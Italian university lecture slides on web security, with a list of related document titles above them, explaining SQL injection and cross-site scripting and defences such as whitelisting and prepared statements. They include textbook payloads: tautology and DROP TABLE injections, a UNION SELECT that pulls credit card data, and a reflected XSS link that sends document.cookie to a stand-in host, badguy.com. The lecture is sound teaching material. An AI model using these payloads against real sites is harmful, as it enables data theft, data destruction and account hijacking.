Elementi di Sicurezza e Privatezza Lezione 14 Web Security. Chiara Braghin



Documenti analoghi
Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1)

27/11/12. Elementi di Sicurezza e Privatezza Lezione 11 Web Security (3) - Code Injection. Chiara Braghin. chiara.braghin@unimi.it!

Elementi di Sicurezza e Privatezza Lezione 16 Web Security - Code Injection (2)

Cookie (1) - Componenti

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection

19. LA PROGRAMMAZIONE LATO SERVER

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Esercizi di JavaScript

TeamPortal. Servizi integrati con ambienti Gestionali

Siti interattivi e dinamici. in poche pagine

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Programmazione Web. Laboratorio 4: PHP e MySQL

Il linguaggio HTML - Parte 3

Il linguaggio HTML - Parte 4

sito web sito Internet

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

--- PREMESSE INTRODUZIONE. .:luxx:.

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

Il linguaggio SQL. è di fatto lo standard tra i linguaggi per la gestione di data base relazionali.

MANUALE PARCELLA FACILE PLUS INDICE

Obiettivo dell esercitazione

GERARCHIE RICORSIVE - SQL SERVER 2008

Lezione 6: Form 27/04/2012

Titolare del trattamento dei dati innanzi descritto è tsnpalombara.it

GESGOLF SMS ONLINE. Manuale per l utente

TeamPortal. Infrastruttura

Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità.

Procedura SMS. Manuale Utente

Il Protocollo HTTP e la programmazione di estensioni Web

MySQL Database Management System

User Tools: DataBase Manager

Integrazione InfiniteCRM - MailUp

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Bibliografia: Utenti e sessioni

File, Modifica, Visualizza, Strumenti, Messaggio

Abilità Informatiche A.A. 2010/2011 Lezione 9: Query Maschere Report. Facoltà di Lingue e Letterature Straniere

PHP e Structured Query Language

Costruzione di Sit Web con PHP e MySQL. Lezione 7 - Esercitazione - Introduzione a MySQL: le tabelle, i tpi di dato, le query

Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:

b) Dinamicità delle pagine e interattività d) Separazione del contenuto dalla forma di visualizzazione

Laboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

Cookie. Krishna Tateneni Jost Schenck Traduzione: Luciano Montanaro

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.

Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP.

Filtro contenuti AVVERTIMENTO PER I GENITORI. Vita prima di permettere ai bambini di giocare. Impostare il filtro contenuti del sistema PlayStation

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

Esercizio data base "Biblioteca"

Volumi di riferimento

Settaggio impostazioni tema. Cliccando nuovamente su aspetto e poi su personalizza si avrà modo di configurare la struttura dinamica della template.

Corso di Sistemi di Elaborazione delle informazioni

Creare un sito Multilingua con Joomla 1.6

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

I M P O S T A R E U N A C C O U N T D I P O S T A C O N M O Z I L L A T H U N D E R B I R D

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Casalini Crypto. Documento di protocollo tecnico VRS 2.1

Indice generale. Il BACK-END...3 COME CONFIGURARE JOOMLA...4 Sito...4 Locale...5 Contenuti...5

Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo

Consiglio regionale della Toscana. Regole per il corretto funzionamento della posta elettronica

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

ISSA EUROPE PTSOFTWARE 2.0

Pagina 1 di 10

Esercitazione. Formato di compitini e compiti: domande ed esercizi "closed book" G. Ferrari - Reti di calcolatori.

Client - Server. Client Web: il BROWSER

POSTECERT POST CERTIFICATA GUIDA ALL USO DELLA WEBMAIL

ESERCITAZIONE Semplice creazione di un sito Internet

Istruzioni per il pagamento con Carta di Credito

Procedure memorizzate SQL-2003/PSM. Forma base di PSM. Parametri in PSM

Sistemi per la gestione di database: MySQL ( )

Aprire, preparare un documento da utilizzare come documento principale per una stampa unione.

Manuali.net. Nevio Martini

MANUALE D USO DELLA PIATTAFORMA ITCMS

SIFORM MANUALE VOUCHER FORMATIVI A DOMANDA AZIENDALE

Installazione di Moodle. Preparato per: Gruppo A, Piattaforma di E - Learning Preparato da: Cinzia Compagnone, Vittorio Saettone

Marketing Portal. Guida all utilizzo per i concessionari. Maggio 2013

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

ESEMPI DI QUERY SQL. Esempi di Query SQL Michele Batocchi AS 2012/2013 Pagina 1 di 7

COSTRUZIONE SITO WEB da AlterVista (

Lezione V. Aula Multimediale - sabato 29/03/2008

GRUPPO CAMBIELLI. Posta elettronica (Webmail) Consigli di utilizzo

Presentazione Data Base

Dexma Newsletter System

Le query. Lezione 6 a cura di Maria Novella Mosciatti

2. LOGIN E RECUPERO DATI DI ACCESSO

Corso sul linguaggio SQL

Capitolo 4 Pianificazione e Sviluppo di Web Part

MANUALE UTENTE Fiscali Free

Dispensa di database Access

MANUALE D'USO DEL PROGRAMMA IMMOBIPHONE

Scuola Digitale. Manuale utente. Copyright 2014, Axios Italia

Corso di Informatica Modulo T3 B1 Programmazione web

COOKIES COSA SONO I COOKIES? COME UTILIZZIAMO I COOKIES?

1.0 GUIDA PER L UTENTE

1) GESTIONE DELLE POSTAZIONI REMOTE

Manuale Amministratore bloodmanagement.it

Benvenuti. Luca Biffi, Supporto Tecnico Achab

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Transcript:

Elementi di Sicurezza e Privatezza Lezione 14 Web Security Chiara Braghin

Web, vulnerabilità e attacchi

Attacchi comuni (2006) Cross-site scripting (XSS) 22% SQL Injection 14 % PHP Include 10% Buffer overflow 8% Il 2005 è stato il primo anno In cui XSS ha superato gli attacchi di tipo buffer overflow. 2

Updated trends (mid-2008) http://www-935.ibm.com/services/us/iss/xforce/midyearreport/xforce-midyear-report-2008.pdf 3

Dati recenti (1) The most widespread vulnerabilities in web applications (% Vulns ALL) 4

Dati recenti (2) Percent of vulnerabilities out of total number of vulnerabilities (% Vulns ALL) 5

References The Web Application Security Consortium http://projects.webappsec.org/ Web-Hacking-Incident-Database http://projects.webappsec.org/web- Hacking-Incident-Database http://www.xiom.com/whid-about The IBM X-Force Trend and Risk Report http://www- 935.ibm.com/services/us/iss/xforce/tr endreports/ 6

Le 2 maggiori vulnerabilità dei siti Web SQL Injection Il browser spedisce dell input malizioso ad un server (tramite un form) La mancata verifica dell input porta a query SQL maliziose di TIPO 1: rilasciano informazione sensibile di TIPO 2: modificano dati critici (e sensibili) XSS Cross-site scripting Un Web server cattivo spedisce a una vittima innocente uno script che ruba informazioni da un server Web onesto 7

SQL Injection

SQL Injection Input non fidato viene inserito in una query La stringa in input altera la semantica prevista della query al database Possibile nel caso in cui non vengano controllati i dati in input Approfitta di vulnerabilità insite nei siti Web dinamici 9

SQL Injection - Funzionamento di base 1 Inserire input malizioso in un form Server Vittima 3 riceve dati sensibili 2 query SQL non voluta Attaccante DB SQL Vittima 10

SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 11

SQL Injection - Elementi base (2) Server-side: Script che recupera i dati e li utilizza (e.g., costruisce la query) Esempio (codice PHP): $username = $_POST[ username ]; $sql = "SELECT PersonID FROM Users WHERE Username='$username' "; $rs = $db->executequery($sql); Problema: L input dell utente contenuto in username viene inserito direttamente in un comando SQL 12

SQL Injection - Elementi base (3) Server-side: Database su cui viene fatta la query Clienti CodiceCliente Cognome Nome Città Sconto 1 Rossi Mario VE 15 2 Scarpa Enzo PI 0 Clienti SELECT Nome, Cognome, Città FROM Clienti Cognome Rossi Nome Mario Città VE Scarpa Enzo PI 13

I tag HTML (1) I tag sono gli elementi della pagina HTML che servono per definire il tipo e il formato del contenuto, in questo modo il testo scritto appare nel formato voluto Caratteristiche principali: sono racchiusi da parentesi <angolate> <HTML> molti elementi possono avere argomenti (chiamati attributi) all'interno dei tag che definiscono parametri sulla gestione dell'elemento stesso da parte del browser <BODY BGCOLOR= red > la maggior parte dei tag ha un inizio (tag di apertura) e una fine (tag di chiusura) <HTML> e </HTML> Per chiudere un tag basta aggiungere / al tag iniziale i tag possono essere scritti indifferentemente con lettere maiuscole o minuscole 14

I tag HTML (2) - Regole di scrittura Regole per una corretta scrittura (non tutte obbligatorie): I tag vanno scritti sempre nello stesso modo non <HTML> e </html> I tag vanno aperti e chiusi sempre nello stesso ordine ma devono essere annidati fra loro e non sovrapposti: <THIS><THAT></THIS></THAT> <THIS><THAT></THAT></THIS> - tag sovrapposti, sbagliato - tag annidati, giusto Esempio: non si deve scrivere <body><p>contenuto della pagina</body></p> I valori vanno inseriti tra virgolette o apici Il browser interpreta al meglio pagine web che non rispettino queste regole, ma browser diversi possono dare risultati visivi diversi. 15

SQL (1) Una query SQL agisce sulle tabelle definite nella base di dati e restituisce come risultato una tabella. Nei casi più semplici una query SQL deve specificare: quali sono le informazioni che interessano SELECT Attributo 1, Attributo 2, in quali tabelle si trovano FROM Tabella 1, Tabella 2, quali proprietà devono avere (la condizione, opzionale, è espressa sugli attributi delle tabelle specificate nella clausola FROM) WHERE Condizione 16

SQL (2) Il comando di base di SQL: SELECT [DISTINCT] Attributo {, Attributo} FROM Tabella [Ide] {, Tabella [Ide]} [ WHERE Condizione ] Semantica: restrizione + prodotto + proiezione Note: la condizione è opzionale; in generale, una tabella nel linguaggio SQL non è un insieme, ma un multinsieme, a meno che non venga selezionata l opzione DISTINCT; per evitare ambiguità quando si opera sul prodotto di tabelle con gli stessi nomi dei campi, un attributo A di una tabella R id si denota come R.A oppure id.a. 17

SQL (3) La condizione presente nella clausola WHERE è un espressione boolena costruita combinando predicati semplici con gli operatori AND, OR, NOT Alcuni predicati semplici: Expr Confronto Expr Expr Confronto (Sottoselect che torna un valore) [NOT] EXISTS (Sottoselect) Confronto: <, >, =, <>, <=, >= 18

SQL Injection (1) Query (vulnerabile!) usata spesso per il login: SELECT * FROM Users WHERE username = chiara' AND passwd = '123' (Se ritorna qualcosa, allora login) Sintassi del server ASP/MS SQL var sql = "SELECT * FROM Users WHERE username = '" + username + "' AND passwd = '" + passwd + "'"; 19

SQL Injection (2) Web Browser (Client) Inserire username e password Web Server SELECT * FROM Users WHERE username= io' AND passwd= io23' DB Query normale 20

SQL Injection (3) Dati inseriti dall utente: username = ' or 1=1 passwd = anything Query finale: SELECT * FROM Users WHERE username = ' ' or 1=1 AND password = 'anything' Effetto: Seleziona un intera tabella invece che solo una riga! L utente viene loggato -- commenta ciò che segue per eliminare 21

SQL Injection (4) Dati inseriti dall utente: username = ' ; DROP TABLE Users passwd = anything Query finale: SELECT * FROM users WHERE username = ' ' ; DROP TABLE Users AND password = 'anything' Effetto: Cancella la tabella degli utenti!! Allo stesso modo si possono aggiungere utenti, modificare le password, etc. 22

Esempio (1.1) Esempio di come ottenere le informazioni sensibili contenute nel DB: Una form per richiedere gli ordini mensili di pizza. Si inserisce il numero del mese e viene visualizzata una tabella riassuntiva. 23

Esempio (1.2) Query SQL SELECT pizza, toppings, quantity, date FROM orders WHERE userid=. $userid. AND order_month=. _GET[ month ] Supponiamo che: month = 0 AND 1=0 UNION SELECT name, CC_num, exp_mon, exp_year FROM creditcards 24

Esempio (1.3) Risultato: vengono visualizzati i numeri di carta di credito dei clienti!! 25

Esempio (1.4) Altro attacco: SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 La condizione è sempre vera 26

Esempio (2) - :-) Source: http://xkcd.com/327/ 27

Attacco a CardSystems CardSystems Una compagnia che gestiva il pagamento avvenuto tramite carte di credito Attacco SQL injection nel giugno 2005 L attacco in numeri: 263,000 numeri di carte di credito rubati dal database (i numeri venivano memorizzati in chiaro ) 43 milioni di numeri di carte di credito esposti all attacco 28

Attacco dell aprile 2008 (1) 29

Attacco dell aprile 2008 (2) Come ha funzionato l attacco: Usare Google per trovare siti che usano un particolare stile di ASP vulnerabile ad attacchi di tipo SQL injection Usare SQL injection su questi siti e modificare la pagina facendo in modo che includa un link al sito cinese nihaorr1.com (NON VISITARE IL SITO!!!!!) Il sito (nihaorr1.com) usa Javascript che sfruttano vulnerabilità in IE, RealPlayer, QQ Instant Messenger I passi (1) e (2) sono eseguiti in automatico da un tool che può venire configurato in modo che inietti qullo che si vuole nei siti vulnerabili. 30

Esistono delle soluzioni? 1. Whitelisting al posto di Blacklisting 2. Validazione dell input 3. Usare Prepared Statements 31

Problemi del Blacklisting Blacklisting: indicare i caratteri che non devono essere presenti nelle stringhe di input Filtrare apici, spazi bianchi, ; e? Si potrebbe sempre scordare un carattere pericoloso Blacklisting non è una soluzione esauriente Es: parametri numerici? Può essere in conflitto con alcuni requisiti funzionali: come memorizzare O Brien nel DB se gli apici non sono permessi? 32

Validazione dell input basato su whitelisting Whitelisting permette solo input che rientra in un ben definito insieme di valori L insieme di valori in genere viene definito usando espressioni regolari RegExp è il pattern con cui confrontare le stringhe in ingresso Es: parametro month: intero non-negativo RegExp: ^[0-9]*$ - 0 o più cifre, insieme sicuro ^, $ indica l inizio e la fine della stringa [0-9] indica cifre, * undica 0 o più 33

Prepared Statements & Bind Variables Alcuni metacaratteri (e.g. apici) servono per distinguere i dati dal controllo nelle query Nella maggior parte degli attacchi: dati interpretati come controllo Altera la semantica della query Bind Variable:? segnaposto che garantiscono si tratti di dati (non controllo) Prepared Statements permettono la creazione di query statiche con bind variables Preserva la struttura della query attesa I paramentri non vengono considerati in fase di parsing della query 34

Java Prepared Statements PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Bind Variable: segnaposto per i dati Le bind variable sono tipate: l input deve essere del tipo che ci si aspetta (e.g. int, string) 35

PHP Prepared Statements $ps = $db->prepare( 'SELECT pizza, toppings, quantity, order_day '. 'FROM orders WHERE userid=? AND order_month=?'); $ps->execute(array($current_user_id, $month)); Non c è la tipizzazione dei parametri come in Java SQL injection è ancora possibile! 36

Conclusione Gli attacchi di tipo SQL injection sono delle minacce che possono Compromettere dati sensibili Alterare o danneggiare dati critici Dare ad un attaccante un accesso non autorizzato ad un DB Idea chiave: Usare diverse soluzioni, in modo consistente! Validazione dell input basato su whitelisting Prepared Statements con bind variable 37

XSS Cross Site Scripting

Cosa è XSS? Un attacco XSS inserisce uno script (script injection) nella(e) pagina(e) generata(e) da un applicazione Web Metodi per inserire lo script : Reflected XSS ( tipo 1 ) Lo script viene spedito all utente come parte di una pagina del sito vittima un URL che, utilizzato sul sito vulnerabile (e vittima), altera il contenuto delle pagine in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tale URL appositamente forgiato Stored XSS ( tipo 2 ) L attaccante salva il codice malizioso tra le risorse gestite dall applicazione Web attaccata (per esempio un DB) Il contenuto della pagina viene modificato permanentemente 39

Reflected XSS - esempio (1) Supponiamo che sul sito victim.com ci sia un campo di ricerca: http://victim.com/search.php? term = apple E che search.php a lato server sia: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term]?> :... </BODY> </HTML> 40

Reflected XSS - esempio (2) Si consideri il seguente link (ottenuto in qualche modo dal server malizioso): http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente fa click sul link? Il browser va a victim.com/search.php Victim.com ritorna la seguente pagina: <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie 41

Reflected XSS - esempio (3) Server Malizioso L utente riceve il link cattivo www.attacker.com http://victim.com/search.php? term = <script>... </script> Il server vittima echo l input dell utente Client vittima L utente fa click sul link www.victim.com <html> Results for <script> window.open(http://attacker.com?... document.cookie...) </script> </html> Server Vittima 42

Reflected XSS - in generale (1) Script injection 3 Spedisce dati confidenziali Server Malizioso Client vittima 2 1 Send bad stuff Reflect it back Server Vittima 43

Reflected XSS - in generale (2) Possibile quando un Web server ha degli script che generano una pagina utilizzando dati inseriti dal client mediante parametri della richiesta HTTP o di form senza verificarli In questo caso il server si dice XSS vulnerable 44

Reflected XSS - in generale (3) 1. Alice spesso visita il sito di Bob, che è reflected XSS vulnerable e memorizza dati sensibili di Alice 2. Mallory osserva quanto sopra e crea un URL che sfrutta tale vulnerabilità, spedisce ad Alice una mail con l URL (che punta al sito di Bob, ma contiene uno script malizioso 3. Alice visita l URL e lo script di Mallory viene eseguito dal browser di Alice, come se venisse direttamente da Bob 45

Same-origin policy dei browser (1) Detta anche cross-domain security policy Introdotta da Netscape Navigator 2.0 Limita l interazione tra pagine Web che provengono da domini diversi Gli script possono accedere solo alle proprietà (cookie, oggetti DOM) di documenti che hanno la stessa origine NB1: i link, i frame, le immagini, i fogli di stile e gli script possono appartenere e provenire da domini diversi 46

Same-origin policy dei browser (2) Origin: protocol, hostname, port, ma non il path Same Origin http://www.examplesite.org/here http://www.examplesite.org/there stesso protocollo: http, host: examplesite, default port 80 All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Protocollo diverso: http vs. https, porte diverse: 80 vs. 8080, host diversi: examplesite vs. hackerhome 47

Same-origin policy dei browser (3) Con l attacco XSS viene bypassata la same-origin policy! 48

Esempio: attacco a PayPal Attacco del 2006: Gli utenti vengono contattati via email e gli viene richiesto si accedere ad un URL che si trova sul sito legittimo di PayPal Del codice iniettato nell URL ridireziona i visitatori ad una pagina che comunica loro che i loro account sono stati compromessi Le vittime vengono quindi redirette ad un sito (non legittimo!!) dove veniva loro chiesto di inserire i loro dati sensibili Source: http://www.acunetix.com/news/paypal.htm 49

Stored XSS - in generale (1) Server Malizioso Client vittima 4 Rilascio di dati confidenziali 2 3 Richiesta del contenuto Riceve lo script malizioso 1 Inject dello script malizioso Memorizza bad stuff Download il bad stuff Server Vittima 50

Stored XSS - in generale (2) Possibile grazie a siti con online message board dove gli utenti possono inserire messaggi formattati in HTML Scenario: Mallory posta in un social network un messaggio con un corpo malizioso Quando Bob legge il messaggio lo script malizioso legge il cookie di Bob Mallory ora può impersonare Bob 51

Stored XSS - esempio (1) Attacco a MySpace.com (il Worm Samy) Gli utenti possono postare codice HTML nelle loro pagine MySpace.com verifica che l HTML non contenga <script>, <body>, onclick, <a href=javascript://> ma Javascript nei tag CSS è permesso: <div style= background:url( javascript:alert(1) ) > Con un attento Javascript hacking: Samy worm infetta chiunque visiti una pagina di MySpace infettata, e aggiunge Samy come amico In 24 ore Samy aveva milioni di amici!! 52

Stored XSS - esempio (2) Stored XSS tramite immagini Si supponga che il file foto.jpg contenga HTML La richiesta http://site.com/foto.jpg ha come risposta: HTTP/1.1 200 OK Content-Type: image/jpeg <html> fooled ya </html> Il browser la visualizzerà come HTML non curante del Content-Type Si supponga che esista un sito di condivisione foto che permette di scaricare le immagini..cosa succede se un utente scarica un immagine che è uno script? 53